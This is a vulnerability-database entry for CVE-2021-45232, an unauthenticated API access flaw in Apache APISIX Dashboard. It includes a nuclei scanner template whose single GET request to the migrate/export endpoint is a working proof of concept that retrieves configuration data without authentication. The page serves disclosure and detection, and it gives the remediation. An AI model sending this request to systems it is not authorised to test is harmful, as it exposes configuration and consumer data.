CVE-2021-45232: Apache APISIX Dashboard <2.10.1 - API Unauthorized Access

日期: 2025-08-01 | 影响软件: Apache APISIX Dashboard | POC: 已公开

漏洞描述

In Apache APISIX Dashboard before 2.10.1, the Manager API uses two frameworks and introduces framework `droplet` on the basis of framework `gin.' While all APIs and authentication middleware are developed based on framework `droplet`, some API directly use the interface of framework `gin` thus bypassing their authentication.

PoC代码[已公开]

id: CVE-2021-45232

info:
  name: Apache APISIX Dashboard <2.10.1 - API Unauthorized Access
  author: Mr-xn
  severity: critical
  description: In Apache APISIX Dashboard before 2.10.1, the Manager API uses two frameworks and introduces framework `droplet` on the basis of framework `gin.' While all APIs and authentication middleware are developed based on framework `droplet`,  some API directly use the interface of framework `gin` thus bypassing their authentication.
  impact: |
    An attacker can gain unauthorized access to the API, potentially leading to data breaches or unauthorized actions.
  remediation: Upgrade to release 2.10.1 or later. Or, change the default username and password, and restrict the source IP to access the Apache APISIX Dashboard.
  reference:
    - https://apisix.apache.org/zh/blog/2021/12/28/dashboard-cve-2021-45232/
    - https://github.com/pingpongcult/CVE-2021-45232
    - https://github.com/advisories/GHSA-wcxq-f256-53xp
    - https://twitter.com/403Timeout/status/1475715079173976066
    - https://github.com/wuppp/cve-2021-45232-exp
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-45232
    cwe-id: CWE-306
    epss-score: 0.94069
    epss-percentile: 0.99897
    cpe: cpe:2.3:a:apache:apisix_dashboard:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: apisix_dashboard
  tags: cve2021,cve,apache,unauth,apisix

http:
  - method: GET
    path:
      - "{{RootURL}}/apisix/admin/migrate/export"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"Consumers":'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502207aeac0f32e0f185053ea4fd068781704e36f50c8caf5db6bb59b68a989cd4679022100def92bb00a37247bc1b20412ced49a106e0d0bc0c67a49fe4ede4e686382db98:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-45232.yaml

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